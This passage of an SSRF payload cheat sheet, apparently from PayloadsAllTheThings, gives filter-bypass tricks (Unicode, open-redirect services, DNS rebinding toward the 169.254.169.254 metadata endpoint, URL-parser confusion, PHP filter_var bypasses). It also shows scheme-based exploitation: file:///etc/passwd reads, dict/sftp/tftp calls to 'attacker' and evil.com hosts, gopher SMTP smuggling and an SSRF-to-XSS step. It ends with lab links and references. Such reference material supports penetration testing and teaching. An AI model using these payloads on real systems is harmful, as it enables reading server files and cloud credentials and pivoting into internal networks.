<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span><span class="k">%</span><span class="n">2561dmin</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Enclosed alphanumeric: <code>①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">http</span><span class="p">://</span><span class="err">ⓔⓧⓐⓜⓟⓛⓔ</span><span class="p">.</span><span class="err">ⓒⓞⓜ</span> <span class="p">=</span> <span class="n">example</span><span class="p">.</span><span class="n">com</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. <code>\d</code> includes <code>0123456789</code> but also <code>๐๑๒๓๔๕๖๗๘๙</code>.</p>
|
|
</li>
|
|
</ul>
|
|
<h3 id="bypassing-using-a-redirect">Bypassing Using a Redirect</h3>
|
|
<ol>
|
|
<li>Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)</li>
|
|
<li>Launch the SSRF pointing to <code>vulnerable.com/index.php?url=http://redirect-server</code></li>
|
|
<li>You can use response codes <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">HTTP 307</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">HTTP 308</a> in order to retain HTTP method and body after the redirection.</li>
|
|
</ol>
|
|
<p>To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use <a href="https://github.com/Horlad/r3dir">Horlad/r3dir</a>.</p>
|
|
<ul>
|
|
<li>
|
|
<p>Redirects to <code>http://localhost</code> with <code>307 Temporary Redirect</code> status code
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">https</span><span class="p">://</span><span class="n">307</span><span class="p">.</span><span class="n">r3dir</span><span class="p">.</span><span class="n">me</span><span class="p">/-</span><span class="n">-to</span><span class="p">/</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">localhost</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Redirects to <code>http://169.254.169.254/latest/meta-data/</code> with <code>302 Found</code> status code
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">https</span><span class="p">://</span><span class="n">62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a</span><span class="p">.</span><span class="n">302</span><span class="p">.</span><span class="n">r3dir</span><span class="p">.</span><span class="n">me</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
</ul>
|
|
<h3 id="bypass-using-dns-rebinding">Bypass Using DNS Rebinding</h3>
|
|
<p>Create a domain that change between two IPs. </p>
|
|
<ul>
|
|
<li><a href="http://1u.ms">1u.ms</a> - DNS rebinding utility</li>
|
|
</ul>
|
|
<p>For example to rotate between <code>1.2.3.4</code> and <code>169.254-169.254</code>, use the following domain:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">make</span><span class="p">-</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4-rebind</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254-rr</span><span class="p">.</span><span class="n">1u</span><span class="p">.</span><span class="n">ms</span>
|
|
</code></pre></div>
|
|
<p>Verify the address with <code>nslookup</code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="p">$</span> <span class="n">nslookup</span> <span class="n">make</span><span class="p">-</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4-rebind</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254-rr</span><span class="p">.</span><span class="n">1u</span><span class="p">.</span><span class="n">ms</span>
|
|
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">Name</span><span class="p">:</span> <span class="n">make</span><span class="p">-</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4-rebind</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254-rr</span><span class="p">.</span><span class="n">1u</span><span class="p">.</span><span class="n">ms</span>
|
|
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="n">Address</span><span class="p">:</span> <span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4</span>
|
|
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a>
|
|
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a><span class="p">$</span> <span class="n">nslookup</span> <span class="n">make</span><span class="p">-</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4-rebind</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254-rr</span><span class="p">.</span><span class="n">1u</span><span class="p">.</span><span class="n">ms</span>
|
|
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a><span class="n">Name</span><span class="p">:</span> <span class="n">make</span><span class="p">-</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4-rebind</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">-</span><span class="n">169</span><span class="p">.</span><span class="n">254-rr</span><span class="p">.</span><span class="n">1u</span><span class="p">.</span><span class="n">ms</span>
|
|
<a id="__codelineno-18-7" name="__codelineno-18-7" href="#__codelineno-18-7"></a><span class="n">Address</span><span class="p">:</span> <span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span>
|
|
</code></pre></div>
|
|
<h3 id="bypass-abusing-url-parsing-discrepancy">Bypass Abusing URL Parsing Discrepancy</h3>
|
|
<p><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">A New Era Of SSRF Exploiting URL Parser In Trending Programming Languages - Research from Orange Tsai</a></p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span><span class="p">\</span><span class="nv">@127</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">:</span><span class="n">80</span><span class="p">/</span>
|
|
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span><span class="p">\</span><span class="nv">@@127</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">:</span><span class="n">80</span><span class="p">/</span>
|
|
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span><span class="p">:\</span><span class="nv">@@127</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">2</span><span class="p">:</span><span class="n">80</span><span class="p">/</span>
|
|
<a id="__codelineno-19-4" name="__codelineno-19-4" href="#__codelineno-19-4"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span><span class="c">#\@127.2.2.2:80/</span>
|
|
</code></pre></div>
|
|
<p><img alt="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true" src="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true" /></p>
|
|
<p>Parsing behavior by different libraries: <code>http://1.1.1.1 &@2.2.2.2# @3.3.3.3/</code></p>
|
|
<ul>
|
|
<li><code>urllib2</code> treats <code>1.1.1.1</code> as the destination</li>
|
|
<li><code>requests</code> and browsers redirect to <code>2.2.2.2</code></li>
|
|
<li><code>urllib</code> resolves to <code>3.3.3.3</code></li>
|
|
</ul>
|
|
<h3 id="bypass-php-filter_var-function">Bypass PHP filter_var() Function</h3>
|
|
<p>In PHP 7.0.25, <code>filter_var()</code> function with the parameter <code>FILTER_VALIDATE_URL</code> allows URL such as:</p>
|
|
<ul>
|
|
<li><code>http://test???test.com</code></li>
|
|
<li><code>0://evil.com:80;http://google.com:80/</code></li>
|
|
</ul>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="cp"><?php</span>
|
|
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a> <span class="k">echo</span> <span class="nb">var_dump</span><span class="p">(</span><span class="nb">filter_var</span><span class="p">(</span><span class="s2">"http://test???test.com"</span><span class="p">,</span> <span class="nx">FILTER_VALIDATE_URL</span><span class="p">));</span>
|
|
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a> <span class="k">echo</span> <span class="nb">var_dump</span><span class="p">(</span><span class="nb">filter_var</span><span class="p">(</span><span class="s2">"0://evil.com;google.com"</span><span class="p">,</span> <span class="nx">FILTER_VALIDATE_URL</span><span class="p">));</span>
|
|
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="cp">?></span>
|
|
</code></pre></div>
|
|
<h3 id="bypass-using-jar-scheme">Bypass Using JAR Scheme</h3>
|
|
<p>This attack technique is fully blind, you won't see the result.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">jar</span><span class="p">:</span><span class="n">scheme</span><span class="p">://</span><span class="n">domain</span><span class="p">/</span><span class="n">path</span><span class="p">!/</span>
|
|
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">jar</span><span class="p">:</span><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">!/</span>
|
|
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="n">jar</span><span class="p">:</span><span class="n">https</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">!/</span>
|
|
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="n">jar</span><span class="p">:</span><span class="n">ftp</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">!/</span>
|
|
</code></pre></div>
|
|
<h2 id="exploitation-via-url-scheme">Exploitation via URL Scheme</h2>
|
|
<h3 id="file">File</h3>
|
|
<p>Allows an attacker to fetch the content of a file on the server. Transforming the SSRF into a file read.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">file</span><span class="p">:///</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="n">file</span><span class="p">://\/\/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<h3 id="http">HTTP</h3>
|
|
<p>Allows an attacker to fetch any content from the web, it can also be used to scan ports.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">22</span>
|
|
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span>
|
|
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">443</span>
|
|
</code></pre></div>
|
|
<p><img alt="SSRF stream" src="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true" /></p>
|
|
<h3 id="dict">Dict</h3>
|
|
<p>The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="n">dict</span><span class="p">://<</span><span class="n">user</span><span class="p">>;<</span><span class="n">auth</span><span class="p">>@<</span><span class="n">host</span><span class="p">>:<</span><span class="n">port</span><span class="p">>/</span><span class="n">d</span><span class="p">:<</span><span class="n">word</span><span class="p">>:<</span><span class="n">database</span><span class="p">>:<</span><span class="n">n</span><span class="p">></span>
|
|
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">dict</span><span class="p">://</span><span class="n">attacker</span><span class="p">:</span><span class="n">11111</span><span class="p">/</span>
|
|
</code></pre></div>
|
|
<h3 id="sftp">SFTP</h3>
|
|
<p>A network protocol used for secure file transfer over secure shell</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">sftp</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span><span class="p">:</span><span class="n">11111</span><span class="p">/</span>
|
|
</code></pre></div>
|
|
<h3 id="tftp">TFTP</h3>
|
|
<p>Trivial File Transfer Protocol, works over UDP</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">tftp</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span><span class="p">:</span><span class="n">12346</span><span class="p">/</span><span class="n">TESTUDPPACKET</span>
|
|
</code></pre></div>
|
|
<h3 id="ldap">LDAP</h3>
|
|
<p>Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">ldap</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">11211</span><span class="p">/</span><span class="k">%</span><span class="n">0astats</span><span class="k">%</span><span class="n">0aquit</span>
|
|
</code></pre></div>
|
|
<h3 id="netdoc">Netdoc</h3>
|
|
<p>Wrapper for Java when your payloads struggle with "<code>\n</code>" and "<code>\r</code>" characters.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="n">ssrf</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">url</span><span class="p">=</span><span class="n">netdoc</span><span class="p">:///</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<h3 id="gopher">Gopher</h3>
|
|
<p>The <code>gopher://</code> protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="n">gopher</span><span class="p">://</span><span class="no">[host]</span><span class="p">:</span><span class="no">[port]</span><span class="p">/</span><span class="no">[type][selector]</span>
|
|
</code></pre></div>
|
|
<p>This scheme is very useful as it as be used to send data to TCP protocol.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="n">gopher</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">25</span><span class="p">/</span><span class="n">_MAIL</span><span class="k">%</span><span class="n">20FROM</span><span class="p">:<</span><span class="n">attacker</span><span class="nv">@example</span><span class="p">.</span><span class="n">com</span><span class="p">></span><span class="k">%</span><span class="n">0D</span><span class="k">%</span><span class="n">0A</span>
|
|
</code></pre></div>
|
|
<p>Refer to the SSRF Advanced Exploitation to explore the <code>gopher://</code> protocol deeper.</p>
|
|
<h2 id="blind-exploitation">Blind Exploitation</h2>
|
|
<blockquote>
|
|
<p>When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. </p>
|
|
</blockquote>
|
|
<p>Use an SSRF chain to gain an Out-of-Band output: <a href="https://github.com/assetnote/blind-ssrf-chains">assetnote/blind-ssrf-chains</a></p>
|
|
<p><strong>Possible via HTTP(s)</strong></p>
|
|
<ul>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#elasticsearch">Elasticsearch</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#weblogic">Weblogic</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#consul">Hashicorp Consul</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#shellshock">Shellshock</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#druid">Apache Druid</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#solr">Apache Solr</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#peoplesoft">PeopleSoft</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#struts">Apache Struts</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#jboss">JBoss</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#confluence">Confluence</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#jira">Jira</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#atlassian-products">Other Atlassian Products</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#opentsdb">OpenTSDB</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#jenkins">Jenkins</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#hystrix">Hystrix Dashboard</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#w3">W3 Total Cache</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#docker">Docker</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#redisexporter">Gitlab Prometheus Redis Exporter</a></li>
|
|
</ul>
|
|
<p><strong>Possible via Gopher</strong></p>
|
|
<ul>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#redis">Redis</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#memcache">Memcache</a></li>
|
|
<li><a href="https://github.com/assetnote/blind-ssrf-chains#tomcat">Apache Tomcat</a></li>
|
|
</ul>
|
|
<h2 id="upgrade-to-xss">Upgrade to XSS</h2>
|
|
<p>When the SSRF doesn't have any critical impact, the network is segmented and you can't reach other machine, the SSRF doesn't allow you to exfiltrate files from the server.</p>
|
|
<p>You can try to upgrade the SSRF to an XSS, by including an SVG file containing Javascript code.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a>https://example.com/ssrf.php?url<span class="o">=</span>http://brutelogic.com.br/poc.svg
|
|
</code></pre></div>
|
|
<h2 id="labs">Labs</h2>
|
|
<ul>
|
|
<li><a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost">PortSwigger - Basic SSRF against the local server</a></li>
|
|
<li><a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system">PortSwigger - Basic SSRF against another back-end system</a></li>
|
|
<li><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter">PortSwigger - SSRF with blacklist-based input filter</a></li>
|
|
<li><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter">PortSwigger - SSRF with whitelist-based input filter</a></li>
|
|
<li><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection">PortSwigger - SSRF with filter bypass via open redirection vulnerability</a></li>
|
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery">Root Me - Server Side Request Forgery</a></li>
|
|
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration">Root Me - Nginx - SSRF Misconfiguration</a></li>
|
|
</ul>
|
|
<h2 id="references">References</h2>
|
|
<ul>
|
|
<li><a href="https://www.youtube.com/watch?v=D1S-G8rJrEk">A New Era Of SSRF - Exploiting URL Parsers - Orange Tsai - September 27, 2017</a></li>
|
|
<li><a href="https://hackerone.com/reports/374737">Blind SSRF on errors.hackerone.net - chaosbolt - June 30, 2018</a></li>
|
|
<li><a href="http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/">ESEA Server-Side Request Forgery and Querying AWS Meta Data - Brett Buerhaus - April 18, 2016</a></li>
|
|
<li><a href="https://www.youtube.com/watch?v=66ni2BTIjS8">Hacker101 SSRF - Cody Brocious - October 29, 2018</a></li>
|
|
<li><a href="https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF">Hackerone - How To: Server-Side Request Forgery (SSRF) - Jobert Abma - June 14, 2017</a></li>
|
|
<li><a href="http://web.archive.org/web/20171220083457/http://www.sxcurity.pro/2017/12/17/hackertarget/">Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity - December 17, 2017</a></li>
|
|
<li><a href="http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html">How I Chained 4 Vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai - July 28, 2017</a></li>
|
|
<li><a href="https://www.dailysecurity.fr/server-side-request-forgery/">Les Server Side Request Forgery : Comment contourner un pare-feu - Geluchat - September 16, 2017</a></li>
|
|
<li><a href="https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51">PHP SSRF - @secjuice - theMiddle - March 1, 2018</a></li>
|
|
<li><a href="https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a">Piercing the Veil: Server Side Request Forgery to NIPRNet Access - Alyssa Herrera - April 9, 2018</a></li>
|
|
<li><a href="https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf">Server-side Browsing Considered Harmful - Nicolas Grégoire (Agarri) - May 21, 2015</a></li>
|
|
<li><a href="https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978">SSRF - Server-Side Request Forgery (Types and Ways to Exploit It) Part-1 - SaN ThosH (madrobot) - January 10, 2019</a></li>
|
|
<li><a href="https://hackerone.com/reports/115857">SSRF and Local File Read in Video to GIF Converter - sl1m - February 11, 2016</a></li>
|
|
<li><a href="https://hackerone.com/reports/115748">SSRF in https://imgur.com/vidgif/url - Eugene Farfel (aesteral) - February 10, 2016</a></li>
|
|
<li><a href="https://hackerone.com/reports/358119">SSRF in proxy.duckduckgo.com - Patrik Fábián (fpatrik) - May 27, 2018</a></li>
|
|
<li><a href="https://hackerone.com/reports/382612">SSRF on *shopifycloud.com - Rojan Rijal (rijalrojan) - July 17, 2018</a></li>
|
|
<li><a href="https://www.silentrobots.com/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/">SSRF Protocol Smuggling in Plaintext Credential Handlers: LDAP - Willis Vandevanter (@0xrst) - February 5, 2019</a></li>
|
|
<li><a href="http://web.archive.org/web/20170407053309/http://blog.safebuff.com/2016/07/03/SSRF-Tips/">SSRF Tips - xl7dev - July 3, 2016</a></li>
|
|
<li><a href="https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/">SSRF's Up! Real World Server-Side Request Forgery (SSRF) - Alberto Wilson and Guillermo Gabarrin - January 25, 2019</a></li>
|
|
<li><a href="https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/">SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 - mrtc0 - September 5, 2018</a></li>
|
|
<li><a href="https://github.com/allanlw/svg-cheatsheet">SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - June 12, 2019</a></li>
|
|
<li><a href="http://web.archive.org/web/20201107113541/https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/">URL Eccentricities in Java - sammy (@PwnL0rd) - November 2, 2020</a></li>
|
|
<li><a href="https://portswigger.net/web-security/ssrf">Web Security Academy Server-Side Request Forgery (SSRF) - PortSwigger - July 10, 2019</a></li>
|
|
<li><a href="https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/">X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG (@quanyang) - June 22, 2016</a></li>
|
|
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